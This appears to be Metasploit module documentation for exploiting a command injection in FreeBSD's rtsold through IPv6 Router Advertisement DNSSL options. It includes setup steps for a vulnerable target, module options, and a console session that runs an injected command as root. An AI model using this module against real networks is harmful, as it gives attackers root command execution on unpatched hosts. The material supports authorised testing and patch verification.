documentation/modules/exploit/freebsd/misc/rtsold_dnssl_cmdinject.md
This module exploits CVE-2025-14558, a command injection vulnerability in FreeBSD's
rtsol(8) and rtsold(8) programs. The DNSSL option in IPv6 Router Advertisement
messages is passed to resolvconf(8) without sanitization, allowing command injection.
All FreeBSD versions are affected unless the system has received the security fixes released on 2025-12-16.
The first non-vulnerable releases are:
All earlier and legacy FreeBSD versions remain vulnerable.
Vulnerable versions can be downloaded from the FreeBSD archive.
To configure a vulnerable target:
sysrc ifconfig_em0_ipv6="inet6 accept_rtadv"
ifconfig em0 | grep ACCEPT_RTADVuse exploit/freebsd/misc/rtsold_dnssl_cmdinjectset CMD touch /tmp/pwnedset INTERFACE eth0exploitls -la /tmp/pwnedNetwork interface for sending RA packets. Must be on same Layer 2 segment as target. Defaults to first available interface if not set.
Number of RA packets to send. Default: 3. Increase for unreliable networks.
Delay between packets in milliseconds. Default: 1000.
msf6 > use exploit/freebsd/misc/rtsold_dnssl_cmdinject
msf6 exploit(freebsd/misc/rtsold_dnssl_cmdinject) > set CMD touch /tmp/pwned
CMD => touch /tmp/pwned
msf6 exploit(freebsd/misc/rtsold_dnssl_cmdinject) > set INTERFACE eth0
INTERFACE => eth0
msf6 exploit(freebsd/misc/rtsold_dnssl_cmdinject) > exploit
[*] Sending 3 Router Advertisement(s) with DNSSL payload...
[+] Router Advertisement(s) sent successfully
[*] Exploit completed, but no session was created.
Verify on target:
root@freebsd:~ # ls -la /tmp/pwned
-rw-r--r-- 1 root wheel 0 Dec 21 16:00 /tmp/pwned
Troubleshooting:
If the exploit doesn't work:
ACCEPT_RTADV: ifconfig | grep ACCEPT_RTADV-s: ps aux | grep rtsold